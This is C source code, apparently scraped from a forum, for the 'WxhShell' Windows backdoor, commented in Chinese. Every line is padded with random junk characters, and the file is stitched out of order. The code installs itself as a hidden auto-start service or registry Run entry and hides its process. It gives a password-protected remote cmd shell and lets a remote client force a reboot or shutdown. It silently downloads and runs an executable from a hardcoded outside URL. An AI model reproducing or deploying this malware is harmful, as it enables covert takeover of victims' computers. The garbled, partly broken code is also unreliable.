    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O{~Xp!QQt  
    if(Boot(SHUTDOWN)) G>0d^bx;E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|QB;7u  
    else {  d9k`  
    closesocket(wsh); L +Uq4S^  
    ExitThread(0); T*%GeY [  
    } CE96e y  
    break; 9]lI?j]o  
    } 6_QAE6A  
  // 获取shell 'vVWUK956  
  case 's': { 5Ex[}y9L`  
    CmdShell(wsh); JFX}))7  
    closesocket(wsh); ~^a>C  
    ExitThread(0); upaP,ik}~  
    break; V.*M;T\i  
  } *1kFy_Gx  
  // 退出 aHuMm&  
  case 'x': { qK d ="PR}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jGz~}&B  
    CloseIt(wsh); l9Ol|Cb&  
    break; n8;p]{  
    } TY %zw6 #p  
  // 离开 P}5bSQ( a3  
  case 'q': { 1mJUl x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JZ-@za6u  
    closesocket(wsh); sYDav)L.  
    WSACleanup(); c:0n/DC  
    exit(1); *izCXfW7  
    break; Xzg >/w 8J  
        } vkhPE(f  
  } iT Aj$ { >  
  } ?.< Qgd  
^SG>VfgC  
  // 提示信息 0~RD@>]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "%D"h  
} mwLf)xt0'  
  } PbZ%[F  
2?q>yL!Gz  
  return; gdTW ~b  
} (BPp2^  
8=L"rekV_  
// shell模块句柄 {v]L|e%{  
int CmdShell(SOCKET sock) $ eI cCLF  
{ 81y<Uz 6  
STARTUPINFO si; 0{ mm%@o  
ZeroMemory(&si,sizeof(si)); F<p`)?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &}e>JgBe0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,NZllnW  
PROCESS_INFORMATION ProcessInfo; ANBuX6q  
char cmdline[]="cmd"; duEXp]f!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J?m/u6  
  return 0; X [dfms;H  
} ;-~E !_$  
Ds"%=  
// 自身启动模式 : pUu_  
int StartFromService(void) _xh)]R  
{ [q!]Ds" _  
typedef struct Gn^lF7yE  
{ @br)m](@  
  DWORD ExitStatus; vb>F)po1}  
  DWORD PebBaseAddress; , p}:?uR  
  DWORD AffinityMask; W+Mw:,>*s  
  DWORD BasePriority; xS12$ib ~G  
  ULONG UniqueProcessId; /}E2Rr?{  
  ULONG InheritedFromUniqueProcessId; %<DdX*Qp  
}   PROCESS_BASIC_INFORMATION; }FS_"0  
lmHQ"z 3G  
PROCNTQSIP NtQueryInformationProcess; iy]L"7&Z2  
S`5bcxI_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bi+M28m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h.#:7d(g  
8Snv, Lb`^  
  HANDLE             hProcess; A+Isk{d  
  PROCESS_BASIC_INFORMATION pbi; td%J.&K_*'  
Pd&KAu|<`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D`^wj FF  
  if(NULL == hInst ) return 0; M&/4SVBF  
9yTdbpY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JW0\y+o~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q7KHx b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kB CU+FC  
- JEPh!oTt  
  if (!NtQueryInformationProcess) return 0; s(fkb7W,gO  
T.I'c6|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O@@nGSc@  
  if(!hProcess) return 0; #$S~QS.g  
U=KUx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PUO7Z2  
S>T ;`,  
  CloseHandle(hProcess); +|dL R*s  
~ 2Hw\fx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HN367j2e  
if(hProcess==NULL) return 0; ]QJ5JtD-  
7c(j1:Ku-  
HMODULE hMod; s) s9Z,HY  
char procName[255]; uVD^X*  
unsigned long cbNeeded; z{Yfiv\-r  
H[?S*/n,<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [>dDRsZ  
``g  
  CloseHandle(hProcess); AP>n-Z|  
:F"IOPfU5[  
if(strstr(procName,"services")) return 1; // 以服务启动 "ADI .  
 YC 6guy>  
  return 0; // 注册表启动 T;BFO5G@  
} Lb Jf5xdi  
e)?}2  
// 主模块 +$L}B-F  
int StartWxhshell(LPSTR lpCmdLine) m,kYE9 {  
{ p+?`ru  
  SOCKET wsl; l:@=9Fp>  
BOOL val=TRUE; ,\ 1X\  
  int port=0; KNN{2thy `  
  struct sockaddr_in door; I$sXbM;z=  
0/] h"5H3  
  if(wscfg.ws_autoins) Install(); D`G;C  
:I&y@@UG  
port=atoi(lpCmdLine); RYvdfj.ij  
DRRQ] eK0  
if(port<=0) port=wscfg.ws_port; 7{M&9| aK  
q M_c-^F  
  WSADATA data; X(E`cH |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #]1 jvB  
|)>+& xk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %pxJ27Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rlh:| #GTJ  
  door.sin_family = AF_INET; y-H9fWi8Y&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); om`B:=+  
  door.sin_port = htons(port); \Cq4r4'  
RTd,bi*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -`Z!p  
closesocket(wsl); 1mtYap4  
return 1; ^bPpcm=  
} 2jhJXM=~  
NGi)Lh|  
  if(listen(wsl,2) == INVALID_SOCKET) { +UOVD:G  
closesocket(wsl); 4Dzg r,V  
return 1; P4yUm(@  
} {ly<%Q7j  
  Wxhshell(wsl); ]m`:T  
  WSACleanup(); '")'h  
Q;>Yk_(S  
return 0; 7&P70DO  
Jjj;v2uSK  
} rd%uc~/  
Z >R@  
// 以NT服务方式启动 F|+B8&-v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _nz_.w0H9  
{ Pm^FSw"  
DWORD   status = 0; 99:.j=  
  DWORD   specificError = 0xfffffff; <<cezSm  
`Mg3P_}=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?m 5"|f\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'z}9BGR !  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ZaaBg  
  serviceStatus.dwWin32ExitCode     = 0; 4w9=z,  
  serviceStatus.dwServiceSpecificExitCode = 0; /,~]1&?}1  
  serviceStatus.dwCheckPoint       = 0; ,f)+|?wz  
  serviceStatus.dwWaitHint       = 0; X6B,Mply  
Qh8pOUD0l}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ex~"M&^  
  if (hServiceStatusHandle==0) return; }U>K>"AZl  
}@ U}c6/  
status = GetLastError(); /YPG_,lRA  
  if (status!=NO_ERROR) D0bpD  
{ ]Q.S Is  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sru0j/|H\  
    serviceStatus.dwCheckPoint       = 0; T; [T`  
    serviceStatus.dwWaitHint       = 0; d, i4WKp   
    serviceStatus.dwWin32ExitCode     = status; fO5L[U^`  
    serviceStatus.dwServiceSpecificExitCode = specificError; (  -q0!]E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uIO?4\s&G  
    return; .EWjeVq  
  } \rh+\9(  
6||%T$_;}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C[TjcHoA  
  serviceStatus.dwCheckPoint       = 0; c^H#[<6p  
  serviceStatus.dwWaitHint       = 0; f:P;_/cJc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x{!+ 4W;S  
} v h)CB8  
$_'<kH-eP  
// 处理NT服务事件,比如:启动、停止 ncUhCp?'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ->{\7|^  
{ #%$@[4 "V  
switch(fdwControl) YVF@v-v-,  
{ (aJ$1bT=T  
case SERVICE_CONTROL_STOP: :rufnmsP<U  
  serviceStatus.dwWin32ExitCode = 0; 0wqw5KC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; daA&!vnbH*  
  serviceStatus.dwCheckPoint   = 0; ,'Y KL",  
  serviceStatus.dwWaitHint     = 0; Kn1u1@&Xd  
  { ZBU<L+#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); krlebPs[  
  } u#u/uS"  
  return; IAb.Z+ig  
case SERVICE_CONTROL_PAUSE: c"CR_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i,RbIZnJ  
  break; PQF 40g1}  
case SERVICE_CONTROL_CONTINUE: qD"~5vtLqQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Mflt0fp  
  break; kAUL7_>6X  
case SERVICE_CONTROL_INTERROGATE: JB5%\   
  break; Ssir?ZUm   
}; peS4<MqWu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ec#'i=  
} 753gcY#i  
.3XSF$;  
// 标准应用程序主函数 aRn""3[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t=:5?}J.Q$  
{ $Sm iN'7;  
]I/* J^  
// 获取操作系统版本  iSX:H;  
OsIsNt=GetOsVer(); ZV5IZ&V!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c*[aIqj  
1 Cz}|#U  
  // 从命令行安装 eUu<q/FUMj  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~(c<M>Q8  
d{WOO)j  
  // 下载执行文件 .}!.: |  
if(wscfg.ws_downexe) { 3h o'\Ysu/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +Swl$ab  
  WinExec(wscfg.ws_filenam,SW_HIDE); J1M9) ,  
} 9}K K]m6u}  
h3\(660>$  
if(!OsIsNt) { &'i.W}Ib!  
// 如果时win9x,隐藏进程并且设置为注册表启动 3WGOftLzt  
HideProc(); 5Em.sz;:8  
StartWxhshell(lpCmdLine); gm:Y@6W  
} u  XZ;K.  
else 8 f~M6  
  if(StartFromService()) VJr~h "[  
  // 以服务方式启动 I&1.}{G>F  
  StartServiceCtrlDispatcher(DispatchTable); i(# Fjp  
else ]E.FBGT  
  // 普通方式启动 Ka)aBU9  
  StartWxhshell(lpCmdLine); 1csbuR?  
RWDPsZC  
return 0; H-m).^  
} JNvgUb'U  
B/~ubw  
Gh3f^PWnc  
$b_~  
=========================================== YD~(l-?"  
p NQ@aJ  
&=Y%4 vq  
5Tidb$L;Du  
n-wOLH  
H\<PGC"_Y  
" |`I9K#w3  
u!VrMH  
#include <stdio.h> 3][   
#include <string.h> us:v/WTQ  
#include <windows.h> 2of+KI:  
#include <winsock2.h> Dn>C :YS`  
#include <winsvc.h> .lz= MUR  
#include <urlmon.h> ~( rZ)  
{@" F/G+  
#pragma comment (lib, "Ws2_32.lib") g'-hSV/@}@  
#pragma comment (lib, "urlmon.lib") rb>2l3g*  
6k7x7z  
#define MAX_USER   100 // 最大客户端连接数 dleLX%P  
#define BUF_SOCK   200 // sock buffer `Y '-2Fv  
#define KEY_BUFF   255 // 输入 buffer %3K'[2F  
?IO3w{fmH  
#define REBOOT     0   // 重启 >;xkiO>Y  
#define SHUTDOWN   1   // 关机 !0X"^VB  
K_X(j$2Xc  
#define DEF_PORT   5000 // 监听端口 eNFA.*p<  
85FzIX-F%  
#define REG_LEN     16   // 注册表键长度 Sn;q:e3i{A  
#define SVC_LEN     80   // NT服务名长度 nu16L$ ]  
P^BSl7cT  
// 从dll定义API KWw?W1H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z5f3T D6,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; ?,'jI*1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rO,n~|YJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]7|qhAh<L  
X5Y. o&  
// wxhshell配置信息 b%j4W)Z  
struct WSCFG { uy=<n5`oNG  
  int ws_port;         // 监听端口 Z= pvoTY  
  char ws_passstr[REG_LEN]; // 口令 PB{5C*Y7^k  
  int ws_autoins;       // 安装标记, 1=yes 0=no DxP65wU  
  char ws_regname[REG_LEN]; // 注册表键名 $*9:a3>zny  
  char ws_svcname[REG_LEN]; // 服务名 K}LF ${bS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . Eb=KG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cgQ2Wo7tCq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q#4OgNt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qyBo|AQ5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" * ^\u%Ir"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vgj[m4l  
sR$/z9w  
}; aU] nh. a  
 A1jA$  
// default Wxhshell configuration V#DNcF~v]f  
struct WSCFG wscfg={DEF_PORT, O;#0Yg  
    "xuhuanlingzhe", "[ >ql1t{b  
    1, v)!^%D  
    "Wxhshell", H]0(GLvH  
    "Wxhshell",  ixF  
            "WxhShell Service", [lj^lN8  
    "Wrsky Windows CmdShell Service", lR]SGdY  
    "Please Input Your Password: ", 7<F{a"5P  
  1, f[$Z<:D-ve  
  "http://www.wrsky.com/wxhshell.exe", WTC/mcS  
  "Wxhshell.exe" oJ 0 #U  
    }; 73E[O5?b  
t(- 5l  
// 消息定义模块 pH?"@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m8v=pab e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #X<s_.7DJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )-LS n  
char *msg_ws_ext="\n\rExit."; ZV:0:k.x  
char *msg_ws_end="\n\rQuit."; g\?7M1~  
char *msg_ws_boot="\n\rReboot..."; kQtnT7  
char *msg_ws_poff="\n\rShutdown..."; I}/-zyx>=  
char *msg_ws_down="\n\rSave to "; Z&y9m@  
/}-LaiS  
char *msg_ws_err="\n\rErr!"; Y &*nj`n  
char *msg_ws_ok="\n\rOK!"; ` H|#l\  
_ 3jY,*  
char ExeFile[MAX_PATH]; `vrLFPdO  
int nUser = 0; tp+H]H3  
HANDLE handles[MAX_USER]; [V,f@}m F  
int OsIsNt; x):h|/B  
z Q11dLjs  
SERVICE_STATUS       serviceStatus; .\AbE*lZ#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &qeM YYY  
=q*j". <  
// 函数声明 v6KF0mqA&  
int Install(void); *5 S~@  
int Uninstall(void); nx`I9j\  
int DownloadFile(char *sURL, SOCKET wsh); q6N6QI8/  
int Boot(int flag); 'Y-Y By :  
void HideProc(void); 2NqO,B|R  
int GetOsVer(void); ;rh@q4#  
int Wxhshell(SOCKET wsl); Y[alOJ  
void TalkWithClient(void *cs); ~@ hiLW  
int CmdShell(SOCKET sock); -$kA WP8P4  
int StartFromService(void); _WHGd&u  
int StartWxhshell(LPSTR lpCmdLine); g h&,U`  
:+}Eo9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C?VNkBJ>\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d} ]jw4  
Qw/H7fvh&  
// 数据结构和表定义 Ceak8#|4  
SERVICE_TABLE_ENTRY DispatchTable[] = |jyoT%SQ  
{ =(>pv,  
{wscfg.ws_svcname, NTServiceMain}, p3{ 3[fDx  
{NULL, NULL} Q.L.B7'e7  
}; z] teQaUZ  
R9lb<`  
// 自我安装 LO M-i>  
int Install(void) c{K[bppJ*  
{ $<s 3;>t  
  char svExeFile[MAX_PATH]; %C(^v)"  
  HKEY key; [cf!%3>53  
  strcpy(svExeFile,ExeFile); I> z0)pB  
i6D66E  
// 如果是win9x系统,修改注册表设为自启动 5KDN8pJN  
if(!OsIsNt) { "\M^jO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S -KHot ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p v*n.U6  
  RegCloseKey(key); $n@B:kv5p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L)j<;{J/Q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MFm2p?zPm  
  RegCloseKey(key); <ULydBom  
  return 0; K-drN)o  
    } +OC~y:  
  } q`^ T7  
}  q<Zza  
else { k'JfXrW<!  
=-|,v*  
// 如果是NT以上系统,安装为系统服务 |jE0H!j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8P3"$2q  
if (schSCManager!=0) 5]yby"Z?}  
{ z;ko )  
  SC_HANDLE schService = CreateService O4A{GO^q  
  ( #=\nuT'oy  
  schSCManager, /#I~iYPe  
  wscfg.ws_svcname, uiIS4S_  
  wscfg.ws_svcdisp, 80;^]l   
  SERVICE_ALL_ACCESS, lcYjwA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z</.Ss 4  
  SERVICE_AUTO_START, -7:_Dy  
  SERVICE_ERROR_NORMAL, (S1Co&SX  
  svExeFile, C(kIj  
  NULL, ct![eWsuB  
  NULL, ~zT743  
  NULL, R\d)kcy4  
  NULL, tKKQli4Mn4  
  NULL ,c9K]>8m`  
  ); =S:Snk%  
  if (schService!=0) R;EdYbiF b  
  { zyi;vu  
  CloseServiceHandle(schService); w_]`)$9  
  CloseServiceHandle(schSCManager); p? L*vcU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QNe siV0MI  
  strcat(svExeFile,wscfg.ws_svcname); .-HwT3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { - HiRXB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8Xjp5  
  RegCloseKey(key); | )M>;q   
  return 0; o6T'U#7P  
    } @J UCXm  
  } 5>u,Qh  
  CloseServiceHandle(schSCManager); )7s(]~z  
} U/l3C(bc!  
} }*9mNE  
\olYv!f  
return 1; I$w:qS&:  
} >s|zr S)  
X/' t1  
// 自我卸载 w=feXA3-S  
int Uninstall(void) EwKFT FL  
{ {kNV|E  
  HKEY key; !ZrU@T  
R7ze~[oF  
if(!OsIsNt) { J_rb3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JOFQyhY0>m  
  RegDeleteValue(key,wscfg.ws_regname); ^^Te  
  RegCloseKey(key); @K=C`N_22  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GZWU=TC2{2  
  RegDeleteValue(key,wscfg.ws_regname); {~cM 6W]f  
  RegCloseKey(key); :ExCGS[  
  return 0; NY3.?@Z  
  } Sahz*f  
} 9qvKg`YSh  
} r: -,qy  
else { % "CF-K@th  
Hx#1TqC /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yHYK,3/C,  
if (schSCManager!=0) ,,HoD~]rd  
{ f1,VbuS9I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BOdd~f%&tn  
  if (schService!=0) ^2)<H7p  
  {  xh|<`>5  
  if(DeleteService(schService)!=0) { &UfP8GE9  
  CloseServiceHandle(schService); RBOg;EJ  
  CloseServiceHandle(schSCManager); iV2v<ap.n  
  return 0; ;nbV-<e  
  } (utk)  
  CloseServiceHandle(schService); g?E8zf `  
  } F0x'^Z}Q;  
  CloseServiceHandle(schSCManager); 8]j*z n?,  
} 3}kG ]#  
} q@[UeXu?pZ  
c.4WwzK  
return 1; s&7TARd  
} DrA\-G_7  
(j?ckah%V  
// 从指定url下载文件 ;fe~PPT  
int DownloadFile(char *sURL, SOCKET wsh) 0"J0JcFX  
{  BDfJ  
  HRESULT hr; =M`Xu#eRk  
char seps[]= "/"; qN\?cW'  
char *token; *w$3/  
char *file; ]@{l<ExP  
char myURL[MAX_PATH]; 9oQ$w?=#$  
char myFILE[MAX_PATH]; _Nacqa  
Lq2ZgKd!  
strcpy(myURL,sURL); >0E3Em<(}l  
  token=strtok(myURL,seps); _|VF^\i  
  while(token!=NULL) s a{x.2/o}  
  { g1v=a  
    file=token; $|m'~AmI  
  token=strtok(NULL,seps); u5N&Wn{  
  } ]8f$&gw&A  
Dgc}T8R  
GetCurrentDirectory(MAX_PATH,myFILE); q1pB~eg5  
strcat(myFILE, "\\"); \c4D|7\=  
strcat(myFILE, file); 7Fzj&!>ti  
  send(wsh,myFILE,strlen(myFILE),0); sT'j36Nc<,  
send(wsh,"...",3,0); .H 9 r_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o@sL/5,  
  if(hr==S_OK) weC.k x   
return 0; TpcJ1*t  
else :hTmt{LjN  
return 1; 2@,rIve  
EslHml#  
} i5cK5MaD  
j: E3c\a  
// 系统电源模块 %f5c,}  
int Boot(int flag) @Y !Jm  
{ xSrjN  
  HANDLE hToken; 7:e5l19 uI  
  TOKEN_PRIVILEGES tkp; Y_nl9}&+C0  
GB4^ 4Ajx  
  if(OsIsNt) { sA2esA@C<o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W:>XXUU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yT|44 D2j  
    tkp.PrivilegeCount = 1; -% \LW1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0K4A0s_R`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TeRH@oI  
if(flag==REBOOT) { _$_,r H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aGNb  Cm  
  return 0; *$Y_ %}  
} #'dNSez5  
else { '*D>/hn|:]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |j=Pj)5J  
  return 0; S!66t?vHB  
} E V@yJ]  
  } 'x6rU"e$J  
  else { wOg#J  
if(flag==REBOOT) { Y<h6m]H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vj9'5]!~q  
  return 0; @,m 7%,  
} B#r"|x#[  
else { $8}'h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,\T7{=ZG\!  
  return 0; A1n4R  
} {F;"m&3Lt  
} {r%T_BfY  
n0Qp:_2z  
return 1; wZVLpF+7  
} XT?wCb41R  
Clb7=@f  
// win9x进程隐藏模块 Nq1YFI>W  
void HideProc(void) *dN_=32u  
{ KM?w{ ~9  
-S#jOr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mVEIHzk2b  
  if ( hKernel != NULL ) kD(#LM<9s  
  { \k{d'R#~(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mm;[f'{M)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $18?Q+?3  
    FreeLibrary(hKernel); \5}*;O@  
  } _2hZGC%&E  
@z^7*#vQv  
return; U/-k'6=M  
} KL./  
|K" nSXzk  
// 获取操作系统版本 2 fg P  
int GetOsVer(void) p-xG&CU  
{ +8Y|kC{9"  
  OSVERSIONINFO winfo; ]=PkgOJD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GI@;76Qf  
  GetVersionEx(&winfo); C3'?E<F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;iW>i8  
  return 1; hj}PL  
  else OF2 W UcQ  
  return 0; ^*w}+tB  
} "T*1C=  
.>Qa3,v5  
// 客户端句柄模块 3m$ck$  
int Wxhshell(SOCKET wsl) [8Fn0A  
{ k136n#KN1  
  SOCKET wsh; $z`l{F4eMf  
  struct sockaddr_in client; "L!U7|9J  
  DWORD myID; N>CNgUyP  
:| !5d{8S8  
  while(nUser<MAX_USER) ZQ>Q=eCs 1  
{ X]o"4#CQIX  
  int nSize=sizeof(client); a?xZsR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BwrX.!M  
  if(wsh==INVALID_SOCKET) return 1; n5z|@I`S_  
5WvsS( 9H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )7p(htCz5  
if(handles[nUser]==0) 'j-U=2,n  
  closesocket(wsh); ?C- ju8]|  
else U1(cBY  
  nUser++; v!$:t<-5N  
  } o+.ySSBl+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z;,G:@,  
0 vYG#S  
  return 0; \ C>+ubF  
} x4(8 =&Z  
tfD7!N{  
// 关闭 socket v^)B [e!  
void CloseIt(SOCKET wsh) x6^Y&,y9kU  
{ @AM11v\:  
closesocket(wsh); F`GXho[  
nUser--; *tv\5KW G  
ExitThread(0); G4rzx%W?  
} 1xu~@v 60  
1wm`a  
// 客户端请求句柄 /='Q-`?9  
void TalkWithClient(void *cs) 81C;D`!K  
{ ?z2!?  
BMqr YW  
  SOCKET wsh=(SOCKET)cs; 7t1as.  
  char pwd[SVC_LEN]; /]U;7)  
  char cmd[KEY_BUFF]; (G/(w%#7_  
char chr[1]; V%z?wDC  
int i,j; ens]?,`0  
t\}_WygN  
  while (nUser < MAX_USER) { y/:%S2za>  
d!4TwpIgx  
if(wscfg.ws_passstr) { (z8 ;J> 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QBGjH^kL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I~^Xw7  
  //ZeroMemory(pwd,KEY_BUFF); !XM<`H/  
      i=0; uE<8L(*B  
  while(i<SVC_LEN) { ( mn:!3H%  
00{a }@n  
  // 设置超时 B:Ft(,  
  fd_set FdRead; Pouo# 5  
  struct timeval TimeOut; 1)jea wVmj  
  FD_ZERO(&FdRead); %-$BtR2@o  
  FD_SET(wsh,&FdRead); U{/fY/kq  
  TimeOut.tv_sec=8; =@S a\;  
  TimeOut.tv_usec=0; ~#i2reG5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !tcz_%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k5J18S  
dpK -  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G.^)5!By  
  pwd=chr[0]; QqRF?%7q"q  
  if(chr[0]==0xd || chr[0]==0xa) { '2hy%  
  pwd=0; 2g~ @99`  
  break; <QO1Yg7}  
  } 0kNKt(_  
  i++; D4C:%D  
    } ;obOr~Jx'5  
d7mn(= &  
  // 如果是非法用户,关闭 socket }2;iIw`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9_nbMs   
} '=%`;?j  
vm{8x o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K0>+-p oL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 aIqc  
%P M#gnt@  
while(1) { /}J_2  
Qe\vx1GRLH  
  ZeroMemory(cmd,KEY_BUFF); *W 2)!C|  
KO~KaN  
      // 自动支持客户端 telnet标准   nlI3|5  
  j=0; {I0U 4]  
  while(j<KEY_BUFF) { \HkBp& bqK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l qwy5#  
  cmd[j]=chr[0]; [z ]P5  
  if(chr[0]==0xa || chr[0]==0xd) { _hJdC|/   
  cmd[j]=0; 9P)!v.,T/  
  break; g1}:;VG=  
  } 'RhS%l  
  j++; #z _<{' P"  
    } x;$ESPPg  
M:/(~X{?  
  // 下载文件 JqZt1um  
  if(strstr(cmd,"http://")) { CLk,]kA'r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Vroz=IT:  
  if(DownloadFile(cmd,wsh)) E?czolNl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dr:M~r'6  
  else ACi,$Uq6R  
